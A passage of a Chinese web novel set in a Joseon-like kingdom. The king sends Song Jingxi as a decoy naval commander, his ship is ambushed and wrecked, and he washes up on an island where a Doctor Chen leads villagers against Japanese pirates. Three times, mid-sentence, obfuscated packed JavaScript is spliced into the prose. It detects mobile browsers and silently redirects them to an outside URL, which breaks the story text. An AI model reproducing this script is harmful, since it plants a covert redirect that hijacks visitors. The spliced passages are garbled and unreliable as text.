换作平时,这样的回答肯定会让王上十分满意了,可今日的王上似乎并不想听这个,脸上也没有一分半豪的缓和之象,说出口的话也完全是单刀直入,毫不留情:“你毁了寡人的儿子。” 宋景熙不敢吭声。 “寡人的儿子......是个有龙阳之好的变态。”王上似乎在喃喃自语:“换作是你......你能够接受吗?” 宋景熙紧张地摇了摇头。 王上道:“寡人看到这些信之后,连续三日没有进一口汤饭。寡人想劝服自己,是你,你这个宋道真的儿子带坏了寡人的儿子,寡人甚至心想,当年要是不让德平翁主带你进宫,不选你做他的伴读,那他就算再歪,是不是也不会歪成现在这个样子?” “可是寡人想了很久,这和你没多大关系。他的这些糊涂信,根本就没有寄出去过!全都是他一个人糊涂!” 宋景熙磕磕绊绊道:“臣、是臣的过错,做伴读的时候没有...没有好好引导世子邸下,是臣失责......” 王上道:“你真这么想?” 宋景熙点点头。 “那你就将功抵过吧。”王上道。 宋景熙有点懵,现在还有他将功抵过的机会?他既见不到李珘和韩时元,更见不到自己的父母家人,活像个一无所有的乞丐。乞丐,还能有什么功? 王上适时解答了他的疑惑:“你知道尚州现在的形势?” “......臣知道。” “那便好。”王上点点头:“乱军攻势猛烈,尚州难以保卫,倘若没有其它线路分散,即便有郑氏率领的援军前去援助,尚州被攻克也只是迟早。寡人需要一个引子,去引开乱军的火力。” 宋景熙额角一跳。 果不其然,王上的话越来越语出惊人:“乱军如今在全州、罗州以及光州三地驻扎,且山贼多在光州一带。寡人打算出动水军,自汉江而入海南下,一队顺地势抵全州并进攻,另一队则抵光州——不必袭击光州,寡人会故意放出全部水军前往光州的消息,乱军得此消息,必然全力将兵力布往光州乃至光州附近水域,如此一来,抵达全州的水军和士兵便可长驱直入,直捣全州。即便不能一举夺下全州,也能使大挫乱军,使尚州得以喘息。” 宋景熙捏了一把汗,心里有了一个恐怖的猜想:“臣......是引子?” “你当然是。”王上毫不犹豫地道。 得到了肯定的答案,宋景熙沉默了。 引子? 这简直就跟在身上绑个□□没有区别。崔在燮的乱军一旦得到水军和官兵全部运往光州的假“秘密”消息,那么必然付出一切代价避免水军和官兵上岸。既然如此,率领这些假意前往光州的兵力的人,完全就是九死一生般的自爆。 何况,自己根本没有学过兵法,如果受到围攻,那几乎没有活路。 可是...... 宋景熙咬了咬唇。他要将功抵过,要救家人,要救李珘和韩时元......要救他在乎的所有人...... 他别无选择。 “你很久没有见过你的家人了。”王上忽然道。 宋景熙愣怔了一下,随即强忍心底翻涌的情绪点了点头。 一直以来,他都知道,自己不是一个坚强的人。 王上也缄默了一会,道:“寡人没有将你的家人关在义禁府,他们在别处,让寡人的人带你去看一眼他们吧。” 宋景熙咬了下舌头没让自己流出泪来,压抑道:“......谢主上。” 被宫人带过去的时候,宋景熙才知道父亲母亲是被关在一处寺庙里。 寺庙仅有两个穿着破烂衣裳的僧人看守,一点儿也不严格,也没有牢房关着,没有铁链锁着,看起来很容易越狱,但他父母都没逃。 其实也逃不了,这两个僧人看起来凶神恶煞的,恐怕是练习过武术的武僧。武僧们先是和领着宋景熙来的宫人说了两句话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932777|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,然后便话不多说地给宋景熙放行了。 宋景熙这才见到寺庙里的父母。 .......邋遢。 他不想这么形容,可是实在是这样。寺庙的环境算不上干净,只要住上一天就能变得灰头土脸,在这样的环境中,他的父母连头发都梳不成,乱糟糟的,活像乞丐,而且还是被关起来一天吃不了一顿饱的乞丐。 ......比他这个还有幸流浪在外的乞丐过得悲惨得多。 见到来人是自己的儿子,原本正盘腿歪在墙边的宋道真惊得一下直起腰背来,却没力气站起,着急地朝夫人挥挥手,让她赶紧扶自己起来,刚站起来就踉踉跄跄地朝小儿子走过去。 宋景熙走得一点都不稳,快哭了:“母亲...父亲......”他握住母亲粗糙的手,一下子就真的哭出来了,根本忍不住:“您受苦了。” 宋母捏紧他的手,眼里也噙着泪,反而安慰他:“这算什么受苦,不过是住得差了些,吃得差了些,算不得什么,我和你爹都担心死你了,你在外面可还好?照顾得好自己啊?” 宋景熙道:“我还好......” 宋道真焦急地道:“那你哥呢?你哥不同我们关在这里,你去看望他了没?他怎么样?还好不好??” 宋景熙卡壳了,他也不知道长兄被关在哪里,连义禁府也没有长兄的身影,自从好多日前就宛如蒸发了一般彻底消失了。他根本不知道长兄在哪,于是只好摇了摇头。 宋母的眼睛黯了黯:“但愿他还好...没有受我们连累......唉,景熙,是我和你爹对不住你们兄弟二人,将来也不知道会如何,你可千万...千万要保全好自己,可知道?” 宋景熙刚摇头不想答应,宋道真就脸色乍变:“好了,别说了!” 宋母欲言又止,拍了拍宋景熙的手,语气温和:“你来也不容易,早些离开,免得待久了惹那位不爽快。”说完,便用手背摸了摸儿子的脸,再用衣袖擦了擦儿子脸上的泪水,“照顾好自己,不要担心太多。” 宋道真道:“若是有机会,记得打探打探你长兄的消息!” 宋景熙沉沉地点了点头。 会的。 只是要看他能不能活着回来了。 他一点也不想把自己和王上答应的事情说出来,不是不怕死,而是更害怕现在他说出来,会连出海的勇气都失去。他已经写好了遗信,交给了代理台主,要是自己没能回来,一封遗信给自己的家人,一封给李珘,最后一封给...韩时元。 如果这些遗信不会派上用场就好了。 外边的人喊了一声,宋景熙知道自己要走了。宋道真不知道怎么回事,双脚失去力气,只能由夫人扶着,慢慢跟在小儿子后面走。这对夫妇停在门口,目送着小儿子跟着宫人渐渐离开的身影。 直至看不见。 84. 士祸其三 上船之前,宋景熙回望了一下。 身前身后都没有他熟悉的人。他假借的是旁人的身份,一个小小的将领,领着不到八十名士兵上了这一艘海船。士兵们并不知道自己踏上的是一条九死一生的路,只知道和其它海船上的弟兄们一样,将要在全罗南部上岸,然后往光州冲锋去。 或许他们唯一奇怪的,就是为什么这条战船有些旧,为什么上船的弟兄们这么少。 可是军令如山,哪敢当逃兵。 有名士兵看到宋景熙站在船板上发呆,出于好心喊了一声,宋景熙这才回过神来,朝士兵点了点头,往甲板上走去。 士兵踏踏跟了上去,问出了心中的疑惑:“把总,你好年轻啊。我都没见过你。” 宋景熙回头看他,心道果然他的身份还是会受到怀疑的,届时和崔在燮的乱军打起来,这八十个兵里能听他的话的只怕五个指头都数的过来。 所以,还是要尽量争取一下这些兵的信任的。不然接下来在海上航行的这数日不会好过。 他问:“你先前在哪个营厅?” 士兵挠挠头,答道:“我是咸镜道那边的边防士兵,平时就打打杂的,不算哪个营厅的,这次出海前在守御厅也就待过一小阵,我心想没在守御厅见过把总你呢。唔说起来,出海这事儿也不知道怎么会选到我,跟赶鸭子上架似的......” “我们对于乱军束手无策,兵力紧张,自然只要是士兵都需要来了。保家卫国也是我们士兵的天责不是吗,何必在意在哪里冲锋。”宋景熙道。 他这话,说实话,并不怎么负责,但也没办法,只是怕这小兵感到什么端倪,若是乱了军心,后续发生的事情便会失去控制。谁都承担不起这个结果。 他再淡淡解释道:“你没见过我正常,我也没见过你们。我之前不在五军营任职,一个地方官罢了。五军营的大将们,恐怕都已经在往忠清两州和尚州去了吧。” 士兵点头:“这倒也是。” 解开绳索,收起船锚,船出海了。 海岸越来越远,变成一条线。宋景熙站在甲板上,那个士兵依然站在他身旁,手里握着一把土。 宋景熙难得感到有些好奇,便问道:“你握着土做什么?” “啊?这个,”士兵道:“这是我家乡的土。” 士兵说:“我家乡那边都还算太平,一直以来没什么战事,我以为我会在那里过一辈子的,可是朝廷这边召我,我也就不得不来了——我这么说您不会罚我吧?” 宋景熙摇头。心里苦笑,都是不得不来的。 士兵继续道:“出发之前,我去祭拜了一下我爹娘,从坟头上抓了这一把土,您瞧,一直装在口袋里着。”他拉开腰侧口袋。 不太合身的衣服上有个缝上去的兜,兜里头还有泥土的残渣。 “这兜还是我娘给我缝的。”士兵道:“这一块布,花了我半年攒下来的军饷!夸张吧!” 宋景熙点头:“夸张。” 士兵小心翼翼地将泥土塞回兜里,又拿手在口袋里蹭了蹭,把手上残留的土渣蹭下去,分外小心。宋景熙道:“希望这土能回到你的故土。” “谢谢。”士兵道:“我也希望。” 过了会儿,士兵又问:“把总,我们得在船上待几个日子?” 宋景熙道:“大概十五个时日?” 第八日。 夜晚的大海很恐怖。 站在甲板上,耳边是海浪拍打船体的波涛声,一刻不停地充斥着耳朵,船身微微晃动——所幸这片海面还算平静。一切都让人意识到自己正身处于离陆地几十里的海上。 但却根本看不见海。 太黑了。 好像被完全裹挟在黑暗当中,好像被埋在地下百米一样黑。 宋景熙沉默地观察了一下自己伸出去的五指,原本什么也看不见,却突然发现可以隐隐约约看见一点轮廓了。 后面有人提灯过来。 他回头看去,是那个士兵提着灯过来了,士兵紧紧裹着自己,打了个哈欠,哆哆嗦嗦地问道:“把总,你还不睡啊?” 问这话,纯粹是今晚轮到这名士兵值夜,不过他已经连续好几夜都注意到了,这位年轻的细皮嫩肉的看着一点儿不像把总的大人一直没睡过觉,总是在甲板上站着,好像只有白天太阳升起来的时候才回去船舱里休息一会,而且也不会休息太久。 “把灯熄了。”宋景熙语气严厉,并没有回答士兵的问题,反而斥责道:“我不是说过了吗?晚上不要打灯。” 在夜晚打灯,万一遇上乱军的海上部队,那简直就是在给乱军立靶子。就他们现在而言,遭受袭击就是死路一条。 “哦。”士兵瘪了瘪嘴,提起灯凑到嘴边,鼓起了嘴巴...... ——噗哧 一股滚烫的鲜血从士兵的嘴边流下,士兵瞪大眼睛,愣愣地摸了一把后脑勺,摸到一种令人感到强烈的恶心的滑腻感。还没看上一眼,他便身体向前倒了下去。 这支利箭从他的腮边穿过,当场要了他的命。 宋景熙当即蹲下,撕开喉咙放声大喊:“敌袭!!!” 士兵手里的灯掉在地上,那边甲板上的船舱已经有了混乱的动静。宋景熙顿在护栏边,看见对面约百丈外的海面上已经燃起数道火影,顿时心道不好,咬咬牙,将还在燃烧的灯踩灭,然后冲到船舱中,扒着门大喊道:“不要燃灯!快转动船帆!” 有个士兵道:“我们为什么不拿起火炮干他们?!” 宋景熙道:“对面多少条船?我们多少条船?!” “出海的时候有二十条船,是把总你说要兵分几路才让我们脱离大军的!” “少废话!想不想活?你自己看!” 船舱里几个士兵往外边看去,对面已经燃起一长条红色星点,宛如天空中的星星一般——如果不是在海面上的星星就好了。 甚至,有些火星已经化作流星般,从天穹上朝他们的方向划过来了! 士兵惊呼道:“他们射火箭!” 宋景熙道:“快转舵!” 没人敢多说话了,立刻扑到船舵上开始扭动船帆,宋景熙和三个士兵冲出船舱,在甲板下的船舱里的士兵们也陆续钻出来了,见甲板下有灯光渗出来,宋景熙立刻道:“不要燃灯!全部熄掉!” 光源犹豫来一会后熄灭了。钻出来的士兵们站在甲板上,宋景熙又道:“别看对面!调船帆往右!”有人想说话,刚说出一个字,就被宋景熙赌了回去:“不想死就听军令!” 士兵们就着漆黑摸到牵引着船帆的绳边开始使力气,宋景熙也在拨船帆,深夜或许激发了他的耳力,他听到有士兵在小声抱怨:“妈的...为什么不打起来。” 有人道:“对面人太多了,先保命再说吧!” 附近的火星越来越多,很明显,对面正在用燃烧的箭带来的微弱的火光试探他们的位置。一波又一波的火箭或远或近地擦过船身,仿佛下一刻就要压过他们的头顶,然后发现他们。 所有人都不敢说话,沉默地呼吸,祈愿转向后的船能脱离乱军的攻击范围。 或许对面也很奇怪,明明在这片海域上应该有不少于二十艘船,可是为什么他们的伏击范围这么大了,却一艘船都没找着? 也许正是因为有着这样的疑惑,对面停火了一阵。 所有人都松了一口气。 “把总。”不知道谁的声音从面前传来:“我们要不要装上火药以防万一?” 宋景熙道:“没有灯,你们看得见?” 声音道:“凭着感觉有啥干不成的。” 有声音跟着附和,四面八方的:“是啊是啊......装上火药吧。” 宋景熙点头道:“好。去取火药来。” 取出火药,士兵们在漆黑和沉默中用冰冷的手摸着冰冷的火药给冰冷的火炮上膛。这边沉寂着,那边也沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对面大概是已经知道了他们的方向,火炮和弓箭像不要钱一样向他们砸来,在海平面上宛如滑过黑幕的流星,若不是会威胁到生命,谁不感叹下这场面诡异地美。 火力越来越集中,很快,船上的所有人立刻意识到了一个恐怖的事实。 船帆被点燃了! “该死的火箭!!” 还没震惊多久,船身就轰地剧烈晃动了一下。 他们被打中了! “完蛋了完蛋了!”有人痛呼:“我们完蛋了!” “真的完蛋了!”又有人指着对面高呼:“他们越来越靠近了!把总,我们怎么办?!不是让我们听你的军令吗??你说啊!!!” 宋景熙脸色惨白,船帆被烧亮了,逃是逃不了了,还能怎么办? 他在火光中咬了咬牙:“继续放炮!” 没过多久,又有一名炮手惊声道:“火炮用完了!” 话音刚落,船身另一侧竟然被击中了,众人回头看去,从那边竟然也有两艘炮船向他们袭来! 而他们集中火力攻击的这一侧,那艘零头的坚船利炮已然向他们越来越靠近了! 炮手们抱着头躲在护栏下,纷纷哆嗦不已:“完蛋了完蛋了我们都要死了...我们都要死了!” 宋景熙冲进驾驶舱里,却看到了恐怖的一幕:掌舵的船员身上已经扎满了箭,死了! 完蛋了。 死定了...... 是真的没有活路了! 外面传来一阵哀嚎声,火光跳进甲板上,宋景熙听到几声恐怖的刀刺入身体的声音。 他不敢回头看。 与此同时,耳边的海浪声似乎也越来越大。 怎么回事? 缓缓抬起眼。 忽然他看到,前方几乎尽在咫尺的地方,掀起一片高达数米的海浪巨墙。 他还没思考过来,这赌浪墙就已经打在他面前了。 85. 蓬丘其一 岛民站在山顶,指着海岸边一个点,道:“你看那是什么?” 另一个岛民远远地看了一眼,道:“应该是条冲上岸的鱼。” “有那么大的鱼吗?” “有的吧。海底下啥东西没有?” “那咱们去捡起来?万一又被冲回去了可完球了。” “你傻啊!万一是倭寇的陷阱怎么办?那也完球了。” “哦。”岛民挠挠头:“这么大条鱼竟然吃不到,唉,可怜咱这肚子,又得继续啃草汁了。”说罢揪起手边一把草,恶狠狠地塞进嘴里嚼了一口,又吐掉了:“呸!真他娘的难吃。” “那不是鱼。”后面有声音说道。 听到这个声音,两个躲藏在草丛里的岛民扭头一看,登时喜笑颜开:“陈大夫哪!” 陈大夫看着海滩那一点,肯定道:“那是人。” 一个岛民略显震惊:“哦?人?咱们这方圆几百里都没片陆地的,哪来冲上岸的人?” 另一个岛民也震惊道:“不会是倭寇吧!?肯定是他们又想着法子引咱们出来了!” 陈大夫道:“我去看一眼。”说罢便往丛林外走去。 两个岛民面面相觑,决定跟上。 毕竟是陈大夫嘛,不会错的,跟上就对了! 走到大概能看清海滩上那东西是什么玩意的地方,岛民眯了眯眼,心想还真是个人。 周边并没有倭寇的身影,陈大夫领着岛民们走到滩边,也看清了这人的样貌。 灰色衣服一身沙浆,样貌不俗,就是眼皮紧闭,嘴唇干裂,看着像死了。 “死了?”岛民问。 陈大夫蹲下来,抓起这人的手腕粗略探了下:“还活着。气息微弱。” 岛民道:“长得比咱们还高呢,咋看也不像倭寇,难不成是坐船遇难了飘过来的?” “估计是。”陈大夫点头:“不能丢他在这,万一被倭寇发现只有被杀死的下场,带回营地。” 岛民倒是没什么意见,只是在陈大夫扛着这人往回走的时候同另一个岛民咕哝道:“自个都没饭吃了,还得多张嘴。” 听他说话的岛民拍了拍嘴:“闭嘴吧你!被倭寇杀得少张嘴你又不乐意了。” 营地。 陈大夫把人放在营火边,营地里的其他人对此感到好奇,有个女人道:“长得还挺俊俏哩!” 另一个道:“你看着像不像陆地那边来的人?” 女人道:“可像!像极了!瞧这衣服面料挺好的,可不就是那边贵族老爷们爱穿的衣服吗,好像还是穿在袍子里头的,摸着手感还挺好哦......”说着就上手捏起衣服来。 又有另一个道:“那肯定是在陆地那边做官的官老爷吧,求他早点醒来,和我们说说陆地那边的事儿,官府究竟还救不救咱们了!要是任咱们在岛上给那些倭寇杀光了,那真是叫天不应叫地不灵了!” 女人招呼一声:“来来来给他衣服扒了!” 一人惊讶不已:“哎唷你干嘛啊!耍起流氓了!” 女人道:“去你的!这衣服湿哒哒的穿身上不穿出病来了?剥掉放一边烤干去,你把我想成啥了真是。” 岛民们原本露出鄙夷的眼神,听了这话,有的讪讪一笑,有的哈哈笑起来。 陈大夫兀自在那边和几个男人说话。他神色凝重,问面前几人:“老吴那边的人呢?不是让他去刺探倭寇的位置了吗,怎么样了。” 一个下巴上有刀疤的男人道:“去了两天,这第三天了,还没他们消息,咱们这岛才多大,总不至于三天还回不来吧,会不会是给倭寇抓住了?” 另一个半张脸长满了胡须的男人道:“上咱们岛的也就一百多个倭寇,咱们已经杀了几十个了,老吴带去的人有十八个,还能被那剩下的倭寇给杀光了?老吴他们也不是没刀没枪的废物啊。” 刀疤脸道:“那你说咋回事嘛!” 胡须脸道:“我咋知道嘛!” “行了。”陈大夫道:“等明天我们去黑石屿那边一趟,找找他们。倭寇的几艘船还留在那儿,倭寇也就总在那附近游荡,我们多带些人,九十个。” 另一个手里端着一根竹竿的男人走了过来,拿杆子尖戳在地上,道:“但现在那些倭寇畜生们也躲进山林里了,就等着找到咱们的营地然后抢了咱们的东西,再砍了咱们的脑袋回去领赏,咱们能打的男的去黑石屿,那留在这的剩下几百人咋搞?五个营地都隔得不远,发现了一个就能发现第二个,发现了两个就能发现全部,万一五个营地全被倭寇发现了,那些个畜生就连老妇和小儿都杀,妇孺哪拿得动武器?” 这话,顿时就让在场几个想起了倭寇的船刚靠岸的时候。 这样一个与世隔绝的海岛上,除了偶有商船过来停靠修整,几乎从不来其它人。 那时,岸边又来了几艘船。 不明不白的岛民们还在岸边看着,以为是外边来的商人,直到那些从船上下来的凶神恶煞的人将砍刀和长矛对准了他们,魂断岸边后,岛民们才知道,传说中的倭寇入侵了。 正如所有海盗都靠烧杀抢掠来夺取财富一样,这些倭寇也不例外,找到了村子。村子被洗劫,岛民们好不容易合力将这群畜生赶回海上去,可没过多久,这些畜生就又卷土重来了。 没办法,原先的村子是不能继续待了,人们只能跑到山上去,隔开建立起了营地,让倭寇们找不着。 刀疤脸道:“是啊,再说咱们过去九十个,要是碰上几十个倭寇,那也是死的死伤的伤,多不划算哪。” 陈大夫道:“不主动赶他们出去,迟早会被他们发现,那时谁都活不了。” 拿杆子的男人道:“有人坐船离开去陆地那边了,官府知道了,会来拨救兵的。” 陈大夫紧皱眉头:“一个月了,官府的救兵还没来。” 杆子男道:“一个月也就来回,迟些很正常,我们再多撑会就是了。” 陈大夫道:“我觉得哪里说不上来的不对劲。” “怎么不对劲?” “官府真的知道我们被入侵了?” “......” “官府真的会拨救兵?国家有数千座岛屿,像我们这么大的虽然不多,却离陆地太过遥远,也才住着不过一千多个人,就这么点人,还不如陆地那边每天饿死的人的人多,官府真会为了我们这点人而派兵来?” 杆子男道:“哼,你是陆地来的,陆地的情况怎么样都是你说了算。” 陈大夫:“......” 胡须男突然道:“得了得了!也就剩下几十个倭寇,咱们能打的还有几百个呢,好歹是有血性的中原人,虽然离中原远了点,那也是中原人,得有点血性呐,光等着人救怎么行,咱们自个儿杀上去!” 杆子男握紧了手里的杆子。 陈大夫点了点头:“那好,叫还能喊打喊杀的男人们准备好武器。明天一早就出发。” 胡须男:“得令嘞!” 次日凌晨。 天刚蒙蒙亮,仍然很昏暗,只是让人意识到白日很快就要来临了。 宋景熙悠悠转醒,刚有点知觉,就感到胸膛里一股强烈的不适感,尤其是肺部和喉咙,仿佛烧成了焦炭一样让人感到窒息。 他重重地咳了一声,口里溢出点苦味的水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951559|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 “哎唷?醒了呀小哥。” “?”宋景熙抬头看着说话的妇人,并不明白妇人在说什么。 因为他根本听不懂! 妇人见他不回,一脸疑惑:“怎么不说话呢小哥?” 宋景熙听不懂,但刚想说出一个字,喉咙就好像刀片划过一样让他霎时闭嘴,只发出了咕噜咕噜的怪音。 妇人见他这样,当即吃惊道:“原来是个哑巴,可怜哝,长得这个俊,不会说话,多可惜呐!” 另一个妇人端着草筐走了过来,道:“他是溺水了暂时说不了话吧,小哥你说是不?” 宋景熙愣愣地看着这两位妇人,表情疑惑不已。 妇人啊呀一声:“是聋子!” 端着草筐的妇人摇了摇头:“唉,白长这么俊了,又聋又瞎的......”说着端着草筐子走了。 宋景熙感觉天旋地转,摸了一下自己的胸口,身上的衣服已经干净了,也不是湿的。 他的身旁有一团隐隐燃烧的木炭,旁边还睡着好多人...... ......看起来不是坏人。 他想起来了,那片海浪过来打过来之后,他的记忆。 海浪打过来之后,他紧紧抓住舷窗才不至于被冲下海去,他们的战船几乎四分五裂,但竟然万幸地没有被海浪推翻,即便如此,原先在甲板上打打杀杀的敌我士兵们都被海浪卷了下去,没有几个人还留在船上了。 他看到在几十丈以外的地方,又有一波海浪袭来。 他没有多思考,便冲上摇摇晃晃但不至于让人掉进海里的甲板上,再跳上被海浪冲得和他们的战船撞在一起的乱军战船。他跳得及时,刚跳上敌方战船,海水就将两艘撞在一块的战船立刻分开了。 之所以跳上敌方战船,是因为自己的战船已经被撞得底下全裂了,就算没有吃船的海浪,那样几乎分崩离析的战船也撑不了多久,迟早会沉到海里去。 而敌方战船上,仍然有几个乱军士兵站着,看见他闯上来,眼底对大海的恐惧就变成了对他的敌意。 他立刻捡起地上掉落的刀,和这些士兵厮杀了起来。 海浪袭来的时候,他就抓住桅杆,拼死抓住,即便被砍伤,他也要抓住。 甚至于,他还可以趁着海浪将乱军士兵给踢下去。而很快,这艘船上就只剩下他一个活人了。 更幸运的是,海浪将他所在的这艘船推得离其他船越来越远,越来越远,直到已经有了几百丈的距离。这样,他的敌人就只有一点不饶人的海浪了。 可是他要面临更严峻的问题。 他不知道该怎么回去。 他不知道方向,就算会操作桅杆,也不知道该往哪个方向去。 随波逐流。 十八日。 船上留存的食物够他活了下来,即便食物尝起来很差劲,即便有些甚至被虫子啃过。 可是也正是在第十八日,不知道他是驶入了哪片海域,这片海域明显就比出发前深得多,海面黑蓝黑蓝。 他遇上了一场比十八日前还要壮阔的海上风暴,而且这次不幸运地被卷入了海中。 他靠着两块木板漂了会,最后冷到浑身僵硬,昏死了过去。 醒来,看到的就是眼前这副场景。 不认识的人......不知道的地方......听不懂的语言...... 他已经离故土太远了。 他的家人,也不知道他在哪里。 他可能一辈子都回不去,一辈子见不到家人,一辈子见不到爱人。 宋景熙感觉头痛欲裂,忍不住痛哭起来。 86. 蓬丘其二 “好小子!表现得不错嘛!” 老魏咵地拍了宋景熙肩膀一下,以示赞赏。宋景熙吃痛一下,嘿嘿笑道:“都是魏哥教得好。” 老唐走了过来,手里还是握着一根竹竿子,斜睨了老魏和宋景熙一眼,冷不丁地道:“老魏你下手没轻没重的,看给小宋打得。” 老魏嘿了一声:“你这说的什么话?我力气大,打倭寇贼子才厉害!你说是不是小宋?” 宋景熙笑道:“是是是,就属魏哥力气最大,打倭寇最有劲。” 老魏高兴地冲老唐道:“你看嘛!我就说小宋这孩子悟性好,懂事儿!才在咱们这待了半年多了,这口中原话啊说得是越发顺溜了,还不止嘞,话说得好,架打得更好,咱们方才在林子那边杀倭寇的时候,小宋打得那叫一个干净流利啊,我这个杀了几十个倭寇的老手都得夸几句!欸我说小宋,瞧你这身功夫,怕是学过啥武功吧,和陈大夫教咱们的中原功夫还不太一样,好像有点......有点......” 陈大夫伸手挡住刺眼的眼睛,望着海平面,忽然道:“有点蒙古。” “对!陈大夫说得对!”老魏一拍大腿,满脸恍然大悟。 老唐又斜睨了老魏一眼:“对什么对,你见过蒙古人的招式吗,还对呢......” 老魏:“喂!”他没好气地横了老唐一眼,又堆起笑容冲宋景熙道:“小宋哪,你这功夫跟谁学的呐,不会是蒙古人吧?还是说教你的师傅跟蒙古人学过?我听说呐蒙古人打倭寇可有劲了。” 老唐又来拆台了:“你见过蒙古人打倭寇吗?还有劲......” “你给我闭嘴臭姓唐的!” 宋景熙及时挡在两人中间,赶紧道:“其实我也不知道,我师父没告诉过我他哪儿学的功夫,但是吧,前朝可不是蒙古人的天下吗?好像还有蒙古遗民在海东呢,总归有些影响的,说不定我师父认识一些学过一些......” 老魏挠挠头:“哦,也是哦......唉,陆地那边的事儿,我这个从小生养在这岛上的哪能知道,看来陆地那边发生的事情还挺神奇。” 宋景熙点头道:“确实很神奇。” 老魏道:“小宋呐,要是哪天倭寇解决了,船咱们造出来了或者抢到了,你回海东的时候,能不能顺我一程啊?” 闭嘴的老唐又忽然道:“你想去哪去?” 老魏道:“我都坐船了还能去哪,当然是去陆地了!听说那里和咱们可不一样了,我就想去看看。” 老唐泼冷水道:“有什么好看的,陆地那边天灾人祸就少了?不一样是到处死人,你个没名没分的,说不准被人捉了去变成奴隶,死都死不明白。” 老魏横他一眼:“我都四十多岁了啊,在这岛上待了四十多年,死又咋了,在这岛上就不会死了?还不是一样说不定哪天就死了,要是被倭寇砍死了割掉鼻子和耳朵带回他们的地方去,那多恐怖多遗憾啊,给我留点念想吧,我想去陆地看看,就和...和咱们陈大夫一样!” 被提到的陈大夫顿了一下。 老魏道:“陈大夫不是去过很多国家吗?好像说是那里的陆地比咱们这还大上万万倍呢,好像...好像有几十上百个国家,还个个儿不一样!嘶,陈大夫好像是去过十几个?几十个?欸多少个来着,不都一样没死在陆地那边吗!” 陈大夫道:“的确没死。” 宋景熙感觉有些吃惊:“几十个国家?” “没那么夸张。”陈大夫道。 “欸——老唐!老魏!”远处突然传来一声猛虎般的呼唤声,几人抬头往山头一看,果然是老吴这个狮吼王。 老魏呼回去:“咋——了——” 老吴道:“你俩——快滚回来——修武器——” 老魏纳闷道:“就这么点事?武器又不够了?” 老唐点头道:“多半是,我们快去吧,倭寇还没清尽,武器可不能缺。” 山头上老吴又在催了:“快——滚——回——来————” 老魏憋了一口气后悔去:“知道了——别叫了————” 等老魏老唐走后,宋景熙也按捺不住心底的好奇了,便向依旧在钓鱼的陈大夫喊了句:“陈大夫?您真去了几十个国家?” 鱼都被方才那几声吼叫吓走了,陈大夫干脆将鱼竿搭进水里暂时放弃钓口粮,回应道:“说了没那么夸张。” “那看来是十几个?” “这倒是差不多。”陈大夫道:“但也不太对。我自东向西,从南到北走过大概几万里路,中原以外的许多地方都是政权并立,割据不绝,譬如中原也不总是一统,世上绝大多数地方都很混乱。若要粗略论起来,我去过的地方其实很少,中原以外的,待得久些的,左不过便是蒙古,东瀛,天竺这些地方,或许还有西边的藏疆、南边的暹罗安南这些地方,但都待得不久,只是路过。” 宋景熙道:“这怕是将世界游览了一圈了。” “不对。”陈大夫摇摇头:“世界很大,我去过的说不准只是九牛一毛之地。” “为何这么说?” “当你站在一万里以外的地方,以为你到了这片土地的尽头,可你翻过了一座又一座山,摆在你面前的却只有更多的山,更远的路,和天的尽头连在一起的大地,那时你才明白,这世上有些地方是走不到尽头的。或者,本来就没有尽头。” “你看眼前这片海。” 宋景熙看过去。 “这片海,你根本看不到尽头。那时,我站在一片原野上,看到的陆地也这样遥远到没有尽头。于是我不再往那里走,我想我该回中原了。” 宋景熙觉得有点疑惑:“为什么会突然这么决定?” “很简单”陈大夫回答得也很简单:“因为不想客死他乡。” 宋景熙颇有感触地点了点头,而后道:“可是您又来到了这里,这里离中原陆地也很遥远。” “我们中原有一句古语,叫死不悔改;我们中原还有一句古话,叫至死方休。”陈大夫忽然自嘲般地道:“我回了中原才半年,又觉得自己不应该回来,可我不想向西走了,我换了个向,往东边南边走,所以我上了船。” “稍等稍等。”宋景熙举起一只手:“我可不可以问您为什么会决定往异国他乡出走?既然世上如此混乱,如此危险,那我想应该没什么人有这样的勇气才对。” “对。二十五岁之前的我也绝想不到二十五岁之后的我会离开中原二十五年。”陈大夫道。 “我出生在东南沿海,看着一片海长大。家中世代经商,我却对算学一窍不通,改学了药学,学了医术。二十岁时,家中卷入一起官家贪污案,因而被抄了家,我随家人,流刑两千里,去了辽东。后来新皇帝登基,那位官家被翻了案,我们也能回家了。” 流放......宋景熙忽然心一紧,半年前他在海岸边出发的时候,父母也在牢里,按照那样的罪名,再怎么从轻处理恐怕也是抄家和流放。 只是不知道,王上究竟会不会看在他消失的份上,给他的家人多宽容些。 陈大夫盯着没入水下的一节钓竿,缓缓道:“但我没有回家。” “为什么?” “因为我的家人都死在了辽东的风雪里。” “......” “辽东的冬天太冷了,一条破烂棉衣就能救活一家人,但我们没有。你们海东也很冷吧?” “......”宋景熙低声道:“也很冷。” “获释后,我去了海东。” 宋景熙吃惊了一下:“海东?难怪您会说一点海东话。” 